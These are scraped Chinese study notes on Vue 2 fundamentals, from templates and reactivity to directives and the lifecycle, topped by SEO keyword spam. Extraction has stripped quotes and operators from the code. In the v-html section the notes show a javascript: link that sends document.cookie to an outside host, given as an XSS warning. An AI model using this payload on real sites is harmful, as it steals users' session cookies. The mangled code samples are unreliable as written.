淘客招商网站选品库建设,吉林网站开发公司,现在注册公司需要什么条件,免费网络课程教学平台做了三年前端,但很多系统性的知识没有学习 还是从头系统学习一遍吧 课程是b站的Vue2.0Vue3.0课程
后续还会学习的如下,就重新开一篇了,不然太长,之后放链接 vue组件化编程 vue-cli 脚手架 vue中的ajax vue-router vuex element-ui vue3
老师推荐的vscode针对vue的插件: Vue 3…做了三年前端,但很多系统性的知识没有学习 还是从头系统学习一遍吧 课程是b站的Vue2.0Vue3.0课程
后续还会学习的如下,就重新开一篇了,不然太长,之后放链接 vue组件化编程 vue-cli 脚手架 vue中的ajax vue-router vuex element-ui vue3
老师推荐的vscode针对vue的插件: Vue 3 Snippets by hollowtree 代码提示 Vetur by Pine Wu vue核心 vue基础vue是什么谁开发的vue特点官网内容开始vue引入vue安装vue-devtoolvue全局配置本地服务 强制刷新使用vue 模板语法插值语法指令语法 数据绑定el与data的两种写法理解MVVM模型数据代理Object.defineProperty数据代理 事件处理事件基本使用事件修饰符键盘事件 计算属性计算属性简写 监视/监听/侦听属性监视属性深度监视简写形式监视属性与计算属性对比 绑定样式绑定class样式--字符串写法绑定class样式--数组写法绑定class样式--对象写法绑定style样式(不常用) 条件渲染列表渲染key作用与原理列表过滤更新时的一个问题Vue监测数据变化Vue.set的使用解答总结-Vue监视数据的原理 收集表单数据过滤器内置指令v-textv-htmlcookie v-cloakv-oncev-pre 自定义指令生命周期 小技巧VSCode浏览器其他 小知识 vue基础
vue是什么
一套用于构建用户界面的渐进式JavaScript框架 渐进式: vue可以自底向上逐层的应用 就是既可以简单应用(只需一个轻量小巧的核心库,大约100kb),也可以进行复杂应用(可以引入格式各样的vue插件) 谁开发的
尤雨溪(搜狗竟然没有关联!) 使用了React后又使用Angular,2013年受到Angular启发进行了相对轻量的框架开发
vue特点
采用组件化模式,提高代码复用率,且让代码更好维护. 高内聚,低耦合声明式编码,让编码人员无需直接操作DOM,提高开发效率, 如下例 命令式编码 则是需要将每条数据进行字符串拼接,再通过复制进行显示
ul idlistli v-forp in persons{{p.id}} - {{p.name}} - {{p.age}}/li
/ul//数据
var persons [{id:1,name:张三,age:10},{id:2,name:李四,age:2},{id:2,name:王五,age:42},
]使用虚拟DOM优秀的DIff算法,尽量复用DOM节点 就是数据更新,先在虚拟DOM中通过Diff算法进行比较,最后在真实DOM进行差异更新
官网内容
Vue2官网 [资源列表-Awsome Vue] 罗列了使用vue开发的第三方库,如echart Vue3官网
开始vue
引入vue
直接用script引入(先选择用这种)用npm安装脚手架(公司一般都是这种)
先下载vue.js,放到文件夹下
!-- 引入vue --
script typetext/javascript src../js/vue.js/script默认打开浏览器是ie, 通过设置修改为谷歌
引入后再浏览器打开,会出现两个提示
安装vue-devtool
第一个提示就是提醒我们安装一个浏览器插件 安装步骤: 官网-教程-安装-Vue Devtools 没有梯子,打不开, 找到一个方法帖子 还有个方法还没用,但版本全
vue全局配置
第二个提示是提醒现在使用的开发版本的vue, 如果上生产记得引用生产版本 Vue.config 是一个对象包含 Vue 的全局配置。可以在启动应用之前修改 其中有一个属性productionTip表示当前是否为生产环境的标识, 所以我们现在把他改为false, 第二个提示就会消失了 并没有~~
还是得直接在vue.js将productionTip改为false
本地服务 强制刷新
第三个错误是没请求到一个页签图标 我们到Network里看看 强制刷新: Shift点击刷新按钮 那么哪来的5500呢 是我们运行网页时自动分配的一个服务器, 我们工程里的文件都会作为这个服务器的跟资源来使用 所以我们直接在工程下放一个图片就好了 使用vue
想让vue工作,就必须创建一个Vue实例,且要传入一个配置对象root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法root容器里的代码被称为Vue模板vue实例与容器必须是一对一真是开发中是会有一个vue实例,并且会配合着组件一起使用{{xxx}}中要写js表达式,且内容可以自动读取到data中的所有属性一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新
!DOCTYPE html
html langen
headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0title初识Vue/title!-- 引入vue --script typetext/javascript src../js/vue.js/script
/head
bodydiv idroot!-- 插值语法{{js表达式}} --h1Hello,{{name}}!/h1 /divscript typetext/javascriptVue.config.productionTip false; //设置为 false 以阻止 vue 在启动时生成生产提示。 // 没用 直接改vue.js// 创建vue实例const x new Vue({el: #root, //用于指定当前vue实例为哪个容器服务,值通常为css选择器字符// el:document.getElementById(root) // 也可这么写,但上面的更精简data:{ // 数据name:World,}})/script
/body
/html模板语法
插值语法
可以看上面的代码块 功能: 用于解析标签体内容 写法: {{xxx}} xxx是js表达式,且可以直接读取到data中的所有属性 指令语法
加了v-bind后url由字符串变为了表达式
!-- 指令语法 --
a v-bind:hrefurl指令语法-跳转/a
!-- 简写 --
a :hrefurl指令语法-跳转(简写)/a功能: 用于解析标签(包括:标签属性,标签体内容,绑定事件…) 备注: Cue中有很多的指令, 且形式都是v-xxx,此处我们只是拿v-bind举例子 数据绑定 单向绑定(v-bind): 数据只能从data流向页面 双向绑定(v-model): 数据不仅能从data流向页面,还能从页面流向data v-model一般只应用在表单类元素上(如:input, select) v-model:value可以简写为v-model, 因为v-model默认收集的就是value值 div idrooth1单向数据绑定/h1input typetext :valuetexthr/h1双向数据绑定/h1input typetext v-model:valuetext/divscript typetext/javascript// 创建vue实例const x new Vue({el: #root, //用于指定当前vue实例为哪个容器服务,值通常为css选择器字符data:{ // 数据text:绑定 }})/script首先子在Vue工具里可以看到vue实例, 也可以临时进行修改 修改实例属性保存后,两个输入框内容都发生变化 而修改单向绑定的内容后, vue实例属性值并没有变 修改双向绑定内容后, vue实例属性值也会变化, 从而单向绑定输入框也改变了
el与data的两种写法 el两种写法: (1). el:“选择器” (2). vue实例.$mount(“选择器”) data两种写法: (1). 对象式 (2). 函数式 之后一定要用这种 注意: 由Vue管理的函数, 一定不要写箭头函数, 一旦写了箭头函数, this就不在指向Vue实例而是指向Window了 // 创建vue实例
const x new Vue({// el: #root, //el第一种写法// data第一种写法 对象式data:{name:Qiu }
})
// el第二种写法
x.$mount(#root);const v new Vue({el:#next,// data第二种写法 函数式// 或者简写 data(){return {}}data: function() {return {name: Qiu,}}
})理解MVVM模型 M: 模型(Model) 对应data中的数据 V: 视图(View) 模板 VM: 视图模型(ViewModel) Vue实例对象 所有之后创建vue实例都用vm接收 观察发现: data中所有的属性, 最后都出现在了vm身上vm身上所有的属性 及 Vue原型上的所有属性, 在Vue模板中都可以直接使用 数据代理
Object.defineProperty
Object.defineProperty()的作用就是直接在一个对象上定义一个新属性或者修改一个已经存在的属性
let person {name:qiuy,age:18,
}
// 给person添加一个属性
Object.defineProperty(person,sex,{value:女});
console.log(person);输出结果↓ 可以看到性别属性被添加到了person上, 但是输出的属性名颜色不同于另外两个 代表这个属性是不可以被枚举的
console.log(Object.keys(person));输出结果 但如果这么写↓,就能正常输出三个属性 同样还有另外的配置来控制属性
Object.defineProperty(person,sex,{value:女,enumerable: true, //控制属性是否可以枚举, 默认为falsewritable: true, //控制属性是否可以被修改, 默认falseconfigurable: true, //控制属性是否可以被移除, 默认false
});现在再看下如下代码
let sexData 女;
let ageData 18;let person {name:qiuy,age:ageData,
}// 给person添加一个属性
Object.defineProperty(person,sex,{// value:18,enumerable: true, //控制属性是否可以枚举, 默认为false// writable: true, //控制属性是否可以被修改, 默认falseconfigurable: true, //控制属性是否可以被移除, 默认false// 当有人读取person的sex属性时,get函数(getter)就会被调用,且返回值就是sex的值get: function () {console.log(有人要获取sex值)return sexData;},// 当有人修改person的sex属性时,set函数(setter)就会被调用,且会收到修改的值set(value){console.log(有人修改了sex,改为了,value);sexData value;}
});// 改变数据
sexData 男;
ageData 19;console.log(person);输出结果如下↓
由此可见, 直接放在json里的属性在数据改变后不会自动改变 而由Object.defineProperty属性值会自动改变
数据代理 通过一个对象代理对另一个对象中的属性的操作(读/写) 好处: 更加方便的操作data中的数据 基本原理: 通过Object.defineProperty()把data对象中所有属性添加到vm上;为每一个添加到vm上的属性,都制定一个getter/setter;在getter/setter内部去操作(读/写)data中对应的属性 如下就是一个最简单的数据代理
let obj {x:20};
let obj2 {y:11};
Object.defineProperty(obj2,x,{get(){return obj.x;},set(value){obj.x value;}
})再看回到vue 一个简单的vue实例
const vm new Vue({el:#root,data() {return {name: Qiu,age:18,sex: 女,}}
})console.log(vm);输出结果中data里的属性 由此可见, vue实例的数据也是用了getter/setter方法 vue将传输的data数据存放到了实例的_data属性下 vm._data (一系列操作) options.data; 现在有三个地方存了name这些数据,即 data, vm._data, vm下
??又蒙了?? vm._data options.data;并不是数据代理也不是直接赋值,而是数据劫持,之后会讲
事件处理
事件基本使用
!-- 事件处理 --
!-- v-on:click会默认传送mouseEvent实例参数 --
button v-on:clickshowInfo点我提示信息/button
!-- 简写 --
button clickshowInfo点我提示信息/button
!-- 传参 --
button clickshowInfo(66)点我提示信息/button
!-- 传参带原始event --
button clickshowInfo($event,66)点我提示信息/buttonconst vm new Vue({el: #root,data() {return {name: Qiu,}},methods: {showInfo(num,event) {alert(你好啊~);},},
})vue管理的函数尽量不写成箭头函数,因为箭头函时没有自己的this, this不指向vm或组件实例对象,而是指向Window 方法要写在methods配置项里, 如果写在data也是可以调用的,但是data中数据都会进行数据劫持和数据代理, 方法并不需要双向绑定, 白白浪费性能 事件修饰符
如果在a标签里添加点击事件并且阻止其原始的跳转功能 可以在方法里调用 e.preventDefault() 也可以在标签里使用click.prevent 其中.prevent就是事件修饰符 共有六个事件修饰符 prevent: 阻止默认事件stop: 阻止事件冒泡once: 事件只触发一次capture: 使用事件的捕获模式(捕获阶段就触发事件,不进行冒泡触发)self: 只有event.target是当前操作的元素时才触发事件passive: 事件的默认行为立即执行, 无需等待事件回调执行完毕(当响应事件需要执行很长时间时,下一次触发不会因为未执行完上一次事件而阻塞,而是立即执行这一次的事件) 事件的捕获阶段是由外往内的, 事件的冒泡阶段是有内往外的 小技巧: 当需要给事件多个修饰符时可以采用链式如click.stop.prevent
??那.native呢
键盘事件
input typetext keyup.enteronKeyEnter /常用按键别名: 回车 enter退格/删除 delete退出 esc空格 space换行 tab上 up下 down左 left右 right 一些特殊按键如切换大小写CapsLk, 可以先通过e.key拿到键名, 再通过键名转换下,首字母小写,单词间用-连接 如CapsLock→keyup.caps-lock 尽量不要使用keyCode去指定按键 Vue.config.keyCodes.自定义键名 键码(e.keyCode), 可以去定制按键别名(也不推荐) 其中tab很特殊,tab的功能是切换焦点,所以tab键按完后就会从当前组件上切走,因此就触发不了事件 所以tab键一般都是用keydown来监听的 系统修饰键(用法特殊): ctrl, alt, shift, meta(Win键) 配合keyup使用: 按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发配合keydown使用:正常触发事件小技巧: 想要Ctrly来触发 keyup.ctrl.y 计算属性 定义: 要用的属性不存在,要通过已有的属性计算得来 原理: 底层借助了Object.defineproperty方法提供getter和setter get函数什么时候执行: 初次读取时会执行一次当依赖的数据发生改变时会被再次调用 优势:与methods事项相比, 内部有缓存机制(复用), 效率更高, 调试方便 备注: 计算属性最终会出现在vm上, 直接读取使用即可如果计算属性要被修改, 那必须写set函数去响应修改, 且set中要引起计算时依赖的数据发生变化 有一个小案例,是需要将姓和名拼接起来展示,如下
span{{firstName lastName}}/span目前看还行, 但如果再增加一些规则,如姓不能超过两位,小写转为大写等等 就会变得很复杂 在Vue官网-风格指南里有说到 组件模板应该只包含简单的表达式复杂的表达式则应该重构为计算属性或方法 用函数方法实现
h3函数方法实现/h3
姓名:
span{{getFullName()}}/span
span{{getFullName()}}/spanmethods: {//获取完整姓名getFullName() {console.log(调用了getFullName)return this.firstName this.lastName},
},页面没问题,就不贴图了 看控制台,因为调用了两次方法所以输出两遍 接着在看计算属性实现
!-- 计算属性实现 --
h3计算属性实现/h3
姓名:
span{{fullName}}/span
span{{fullName}}/span// 计算属性
computed: {fullName: {// 当有人读取fullName时,get就会被调用,且返回值就作为fullName的值get() {console.log(fullName的getter)return this.firstName this.lastName},},
},控制台输出↓ 只调用了一遍fullName的getter 初次读取fullName时get会被调用, 之后会将值存在缓存里, 以便之后使用相同属性 当所依赖的数据发生变化时就会再次调用get 计算属性也会存放在vue实例下, 和data里属性一样, 但不会存在_data里
计算属性简写
简写形式不能定义set方法
computed: {// 简写形式 当确定了该计算属性是需要get方法不需要set就可以使用简写fullName() {return this.firstName this.lastName},
},监视/监听/侦听属性
监视 监听 侦听 都说的是一个东西
监视属性 当被监视的属性变化时,回调函数handler自动调用,进行相关操作检视的属性必须存在, 才能进行监视检视的两种写法: (1). new Value时传入watch配置 (2). 通过vm.$watch检视计算属性也可以被监视没有定义的属性被监视不会报错, 但也不对 监视isHot变量的改变↓ 写在watch配置项里
watch: {isHot: {// handler什么时候调用? 当isHot发生改变时调用handler(newValue, oldValue) {console.log(isHot值被改变,之前值:${oldValue},现在值:${newValue})},immediate: true, //初始化时执行handler 默认为false},
},当我们动态获取需要监视的变量时,可以使用
vm.$watch(isHot, {handler(newValue, oldValue) {console.log(isHot值被改变,之前值:${oldValue},现在值:${newValue})},immediate: true,
})深度监视 Vue中的watch默认不监视对象内部值的改变配置deep:true可以检测对象内部值改变 备注: Vue自身可以监测对象内部值的改变, 但watch默认不进行监视 使用watch时根据数据的具体结构, 决定是否采用深度监视 需求是有一个属性
numbers: {a: 1,b: 1,
},每次点击按钮numbers.a都会1 要监测numbers.a的变化,不监测numbers.b的变化 可以在watch里这样写 (原始写法就是要加“的, 简写就把”去掉了)
// 监视多级结构某属性变化
numbers.a: {handler(newValue, oldValue) {console.log(numbers.a值被改变,之前值:${oldValue},现在值:${newValue})},
},现在需求变化, 属性numbers里无论a变还是b变都进行监视 可能会想这么写
numbers: {handler(newValue, oldValue) {console.log(numbers值被改变,之前值:${oldValue},现在值:${newValue})},
},但其实啥也监测不出来, 因为监视引用类型属性时,只有引用地址改变才会触发监视回调 所以就要使用深度监视, 加个配置项就行deep: true 但深度监视很消耗性能
numbers: {handler(newValue, oldValue) {console.log(numbers值被改变,之前值:${oldValue},现在值:${newValue})},deep: true, //是否深度监视, 默认false
},简写形式
当监视属性除了handler没有其他配置项时就可以使用简写形式
// 简写形式
isHot(newValue, oldValue) {console.log(isHot值被改变,之前值:${oldValue},现在值:${newValue})
},还有这种简写
vm.$watch(isHot, function(newValue, oldValue){console.log(isHot值被改变,之前值:${oldValue},现在值:${newValue})
})监视属性与计算属性对比 computed能完成的功能,watch都可以完成watch能完成的功能, computed不一定能完成,例如watch可以进行异步操作所被Vue管理的函数,最好写成普通函数,这样this的执行才是vm或组件实例对象不被Vue所管理的函数(定时器的回调函数,ajax的回调函数等),最好写成箭头函数,这样this的执行才是vm或组件实例对象 当监听属性和计算属性都能实现需求时, 计算属性要相对简洁一些 如果需求时延迟进行更新的话 使用计算属性如下, 就不会有返回值
computed:{fullName() {setTimeout(() {return this.firstName this.lastName}, 1000)},
}这里跑个题, 说下为什么setTimeout里要用箭头函数? setTimeout是属于js本身的语法, 并不受vue的管辖, 所以他本身的this是window, 而当我们使用箭头函数时, 他本身的this就没有了, 就需要往外找. 那setTimeout外部是fullName函数, 这个函数是vm的,所以这时setTimeout里的this就指向了vm
绑定样式 class样式 写法::classxxx xxx可以使字符串,对象,数组 字符串写法适用于:类名不确定,要动态获取 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用 style样式 写法: :style{a:xxx}其中a是样式名称,要使用驼峰式,xxx是动态值 :style[a,b]其中a,b是样式对象 样式是有这些
style.basic {height: 60px;width: 200px;line-height: 60px;text-align: center;border: 1px solid #000;}.colorful {background: linear-gradient(to right, #e48080, #8282df);}.simple {background: limegreen;}.fontSize {font-size: 30px;}.fontColor {color: #fff;}.fontWeight {font-weight: bold;}/style绑定class样式–字符串写法
!-- 绑定class样式-字符串 适用于样式类型不确定,需要动态指定 --
div classbasic :classbindClass clickonClickDivHELLO {{name}}!/divdata() {return {name: Qiu,bindClass: colorful,}
},绑定class样式–数组写法
!-- 绑定class样式--数组写法 适用于样式个数不确定,名字也不确定 --
div classbasic :classbindClassHELLO {{name}}!/divdata() {return {name: Qiu,bindClass: [colorful,fontSize,fontWeight],}
},绑定class样式–对象写法
!-- 绑定class--对象写法 适用于要绑定的样式个数确定, 名字也确定, 但要动态决定用不用 --
div classbasic :classbindClassObjHELLO {{name}}!/divdata() {return {name: Qiu,bindClassObj: {fontSize: true,fontColor: false,fontWeight: true,},}
},绑定style样式(不常用)
//属性
styleObj: {fontSize: 10px,
},
styleObj2: {color: red,
},
samllFontSize: 10,!-- 绑定style --
div classbasic :style{fontSize:samllFontSizepx}HELLO {{name}}!/div
!-- 或者(常用) --
div classbasic :stylestyleObjHELLO {{name}}!/div
!-- 或者(不常用) --
div classbasic :style[styleObj,styleObj2]HELLO {{name}}!/div条件渲染
使用v-show控制显示与否, 底层使用css的display控制的,隐藏后不占位 使用v-if控制显示与否,底层是直接将该结构删除,同js也有v-else-if和v-else
当我们改变v-show的值时,vue检测到属性改变会重新解析整个模板, 当有多个v-show模块也是逐一进行判断显示与否 而当我们改变v-if的值时,vue解析到v-if的值为true的话,那v-else-if和v-else的内容就不会进行解析了 因此 当有模块反复显隐则使用v-show更好 当有多个模块进行关联判断使用v-if效率更高
当我需要同一个条件控制多个模块时, 如果在外层套一个div就会破坏结构 因此可以使用template/template包裹模块, 当判断解析之后,会直接将这个标签摘掉,template只能配合v-if使用 之后还学了配合v-slot
列表渲染
ulli v-for(item, index) in personList :keyitem.id姓名:{{item.name}} 年龄:{{item.age}}/li
/ulkey的值需要是唯一的 把in换成of也是可以的 v-for可以遍历数组,字符串,数字
key作用与原理
如果v-for没有添加key属性, 则vue默认为其添加值为index的key 虚拟DOM新旧对比是根据key进行对应的,相同key的模块内节点逐一进行对比,相同的就沿用,不同的就更新 当需要对原始列表进行修改并破坏顺序时, 会进行多余操作,也会沿用错误的节点
使用id唯一标识作为key的话,就会避免进行不必要的更新,以及错误的对比判断
列表过滤
人员列表可以根据姓名进行模糊搜索,还可以将搜索结果进行排序 使用计算属性比较简洁方便
computed: {filPersonList() {let list this.personList.filter(item {return item.name.indexOf(this.keyWord) ! -1})//sortTp: 0, //0-原顺序 1-降序 2-升序if (this.sortTp) {//需要排序list.sort((a, b) {return this.sortTp 2 ? a.age - b.age : b.age - a.age})}return list},
},更新时的一个问题
updatePersonInfo() {this.person[0] {id: 001,name: 马冬梅,age: 16,}
},执行这个函数,就会出现一个奇怪的现象 vm实例里数据改变了,但是DOM上并没有改变 是因为vue并没有监测到列表数据改变了 这又是为啥呢, 需要先学下下面的知识来解答(好像妹有太大关系,直接看解答也行,但也按知识点学学吧)
Vue监测数据变化
数据传递流程:
vue配置项的data里进行加工(其实就是添加getter和setter)将vue配置项的data通过某种神秘技术(数据劫持)赋值给vm._data将vm._data复制一份到vm下, 方便模板中使用
当vm.xxx数据改变时,vue会调用setter,调用setter就会引起模板的重新解析
如下,模拟了一下vue的数据监测 可以进行响应式更新 但是还有很多缺少的功能,如vm.data的数据代理,data中多层数据的加工等
!DOCTYPE html
html langenheadmeta charsetUTF-8 /meta nameviewport contentwidthdevice-width, initial-scale1.0 /titleDocument/title/headbodyscript typetext/javascriptlet data {name: qiu,age: 18,}// 创建一个监视实例对象,用于监视data中属性的变化const obs new Observer(data)console.log(obs)// 准备一个vm实例对象let vm {}vm._data data obsfunction Observer(obj) {// 汇总对象中所有的属性形成一个数组const keys Object.keys(obj)// 遍历keys.forEach(k {Object.defineProperty(this, k, {get() {return obj[k]},set(val) {// 属性值被改了,要重新解析模板,生成虚拟DOM,进行比较....obj[k] val},})})}/script/body
/html
Vue.set的使用 给data里的某一个对象追加属性并添加相应的getter和setter实现响应式 需求是为学生信息动态添加一个性别属性 学生信息数据:
student: {name: 三三,age: 1000,address: 山里,
},可能想到的方法是this.student.sex 男 但是结果是页面并没有显示性别 vm里也没有做到响应式 这里就要用到Vue.set方法了 两种写法
this.$set(this.student, sex, 男)
Vue.set(this.student, sex, 男)但是有个问题,这么写vm._data里并没有这个数据 这个方法有局限性,就是不可以直接在vm或vm.data上添加属性,会报错
解答
有个一属性hobbys: [抽烟, 喝酒, 烫头], 展示在页面上 接着做这个操作vm.hobbys[2] 染头 数据变了,但DOM没有变 仔细看下vm数据, vue并没有给数组里的元素添加getter和setter
因此Vue并没有监测到这个数组内元素变动了 接着来看官网说的, 只有使用这些数组方法对数组进行更改才能监测到数组变化,是因为Vue对这些方法进行了包装
总结-Vue监视数据的原理 vue会监视data中所有层次的数据如何监测对象中的数据? 通过setter实现检视,且要在new Vue时就传入要监测的数据 (1). 对象中后追加的属性,Vue默认不做响应式处理 (2). 如需给后添加的属性做响应式,请使用如下API; Vue.set(target,propertyName/index,value)或 vm.$set(target,propertyName/index,value)如何监测数组中的数据? 通过包裹数组更新元素的方法实现,本质就是做了两件事: (1). 调用原生对应的方法对数组进行更新 (2). 重新解析模板,进而更新数组在Vue修改数组中的某个元素一定要用如下方法 (1). 使用这些API:push,pop,shift,unshift,splice,sort,reverse (2). Vue.set()或vm.$set() 特别注意:Vue.set()或vm.$set()不能给vm或vm的根数据对象添加属性!!! 将一个正常的数据对象,加工,为数据添加getter和setter,这个操作就是数据劫持
收集表单数据
都写在代码里的 每个备注都是知识点
!DOCTYPE html
html langenheadmeta charsetUTF-8 /meta nameviewport contentwidthdevice-width, initial-scale1.0 /titleDocument/title!-- 引入vue --script typetext/javascript src../js/vue.js/script/headbodydiv idroot!-- 写pervent是为了阻止页面刷新,默认提交后会刷新页面 --form submit.perventsubmit账号:!-- v-model.trim 输入收尾空格过滤 --!-- typetext||password||number v-model收集的是value值,输入值是value值 --input typetext v-model.trimuserInfo.account /br /br /密码:input typepassword v-modeluserInfo.password /br /br /年龄:!-- v-model.number 转为number类型 --input typenumber v-model.numberuserInfo.age /br /br /性别:!-- typeradio时 v-model收集的是value值, 且要给标签配置value值 --男input typeradio namesex v-modeluserInfo.sex valuemale /女input typeradio namesex v-modeluserInfo.sex valuefemale /br /br /爱好:!-- typecheckbox 1.没有配置input的value属性,那么收集的就是checked(勾选or未勾选 是bool)2.配置input的value属性:(1).v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选 是bool)(2).v-model的初始值是数组,那么收集的就是value组成的数组--抽烟input typecheckbox namehobby v-modeluserInfo.hobby valuesmoke /喝酒input typecheckbox namehobby v-modeluserInfo.hobby valuedrink /烫头input typecheckbox namehobby v-modeluserInfo.hobby valuehotHair /br /br /所属校区:select nameaddress v-modeluserInfo.addressoption value请选择校区/optionoption valuetianjin天津/optionoption valuebeijing北京/optionoption valueshanghai上海/option/selectbr /br /其他信息:!-- v-model.lazy失去焦点再收集数据 --textarea v-model.lazyuserInfo.otherInfo cols30 rows10/textareabr /br /input typecheckbox v-modeluserInfo.isAccept /阅读并接受a hrefhttps://bilibili.com用户协议/abr /br /button提交/button/form/div/bodyscript typetext/javascriptconst vm new Vue({el: #root,data() {return {name: Qiu,userInfo: {account: ,password: ,age: ,sex: ,hobby: [], //写为数组形式,就可以多选address: ,otherInfo: ,isAccept: false,},}},methods: {// 点击提交后调用事件submit() {console.log(userInfo)},},})/script
/html
过滤器 定义: 对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理) 语法: 注册过滤器: Vue.filter(name,callback)或 new Vue{filters:{}}使用过滤器: {{需要过滤的变量 | 过滤器名}} 或 v-bind:属性 “需要过滤的变量 | 过滤器名” 备注: 过滤器也可以接收额外参数,多个过滤器也可以串联并没有改变原本的数据,是产生新的对应的数据 !-- 过滤器实现 --
h1Now is {{time | timeFormater}}/h1
!-- 换一种格式 --
h1Now is {{time | timeFormater(YYYY年MM月DD日 hh:mm:ss)}}/h1
!-- 多个过滤器串联 --
h1Now is {{time | timeFormater() | mySlice()}}/h1filters: {timeFormater(value, formatStr YYYY-MM-DD HH:mm:ss) {return dayjs(value).format(formatStr)},mySlice(value) {return value.slice(0, 4)},
},| 是管道符 time | timeFormater 工作流程是,将time传入到timeFormater过滤器中(其实就是方法形参),将返回值替换整个代码 如果写成time | timeFormater(YYYY年MM月DD日 hh:mm:ss)就是传了两个参数,第一个是time,第二个是格式字符串 还可以多个过滤器串联, 从前往后执行
写在当前vm下的filters的过滤器是局部过滤器,只有当前vm实例可用 全局过滤器可以多个vue实例调用
// 全局过滤器
Vue.filter(mySlice, function (value) {return value.slice(0, 4)
})内置指令
就是Vue为我们提供的直接使用的指令,例如v-bind,v-model,v-for,v-if,v-show 接下来介绍一些不太常用的内置指令
v-text 向其所在节点中渲染文本内容 与插值语法区别: v-text会替换掉节点中内容,插值语法比较灵活 div v-textname/divv-html 向指定节点中渲染包含html结构的内容 与插值语法的区别: v-html会替换掉节点中所有的内容可以识别html结构 安全性问题: 在网站上动态渲染任意HTML是非常危险的,容易导致XSS(冒充用户之手)攻击,一定要在可信的内容上使用v-html,永远不要在用户提交的内容上 cookie
如下用实际解释 cookie很重要保存着个人信息 我们在浏览器中添加几个cookie模拟我们的重要信息 之后我们在代码里使用v-html指令
div v-htmlhtmlBadStr/divhtmlBadStr: a hrefjavascript:location.hrefhttp://baidu.com?document.cookie点击进账两千万!!/a,跳转后可以看到请求服务器已经将cookie带到参数里了 危不危险!!! 但其实如果Cookie中HttpOnly勾选了的话,document.cookie并不会拿得到 但不怕一万就怕万一
v-cloak 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题 详细讲一讲: 当我们在vm创建前请求一个库之类的且很慢时,页面模板没有被解析就是展示{{name}}这种,不太好看 这时就可以用v-cloak添加到标签上,并给有这个属性的标签添加display:none 当阻塞时,vm没有被创建,模板没有被解析,则直接展示,因为display:none了所以{{name}}会被隐藏 当阻塞结束vm创建,模板解析,vue会将cloak属性删除,这样隐藏样式就被移除了,这样就会显示正常解析后的{{name}}了
v-once v-once所在节点在初次动态渲染后,就视为静态内容了 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能 h2 v-once初始的n值是:{{n}}/h2
h2当前的n值是:{{n}}/h2
button clickn点我1/button点击多次页面结果
v-pre 跳过其所在节点的编译过程 可利用它跳过,没有使用指令语法,没有使用插值语法的节点,会加快编译 h2 v-pre当前的n值是:{{n}}/h2自定义指令 函数调用时机 不同情况和不同的钩子函数调用时机不同 简写形式: 1). 指令与元素成功绑定时(一上来),注意是在元素放到页面前 2). 指令所在的模板重新解析时 bind(): 指令与元素成功绑定时(一上来),注意是在元素放到页面前 inserted(): 指令所在元素被插入页面时 update(): 指令所在模板倍重新解析时 一些小Tips: 如果定义多个单词组合如bigNumber,使用就要用v-big-number, 或者指令定义直接用big-number(){}形式指令函数里的this都是window全局指令Vue.directive(xxx,{})参数是指令名 和 指令配置项对象或简写为函数 在vm中配置
// 自定义指令配置对象
directives: {// element是所在真实DOM的结构// binding是绑定对象big(element, binding) {element.innerText binding.value * 10},fbind: {bind(element, binding) {element.value binding.value},inserted(element, binding) {element.focus() //foucs需要在元素添加到页面上后才能正常执行},update(element, binding) {},},
},使用
h2nx10的值是:span v-bign/span
/h2
!-- 不加:value效果一样 --
input typetext v-fbind:valuen /其中binding的输出如下:
生命周期
生命周期函数 也是vm的配置项之一 小tips: 生命周期函数内this是vm或者组件实例对象不能将template作为根节点vm被销毁后,原生的DOM事件还是有效的(试验了现在都不会生效了)一般不要在deforeDestroy操作数据,因为也不会更新了 下一篇Vue组件化编程
小技巧
VSCode
输入!就会生成html代码提示输入v会生成vue代码提示console.log快捷方式clg有时已注释的代码不能被折叠 可以在开头添加//#region结尾添加//#endregion开启VSCode控制台窗口: Ctrl (Esc下面那个键)
浏览器
强制刷新: shift点击刷新图标刷新: 点击刷新图标 || Ctrlr打开控制台快捷键: CtrlShifti!小坑: 当我们页面中没有使用属性或计算属性时, 则改变后不会在浏览器插件vue进行更新, 但其实是改变了的
其他
关闭当前页签: CtrlF4
小知识
indexOf() 在模板里展示一个不存在的属性会报错,但展示一个已存在属性里的一个不存在变量不会报错, 即{{a}}a不存在会报错;{{a.b}}a存在但b不存在不会报错,会什么也不显示debugger: 调试时尽量使用debugger暂停进程, 防止数据在后面被修改js中字符转如果要换行,需要改为模板字符串形式
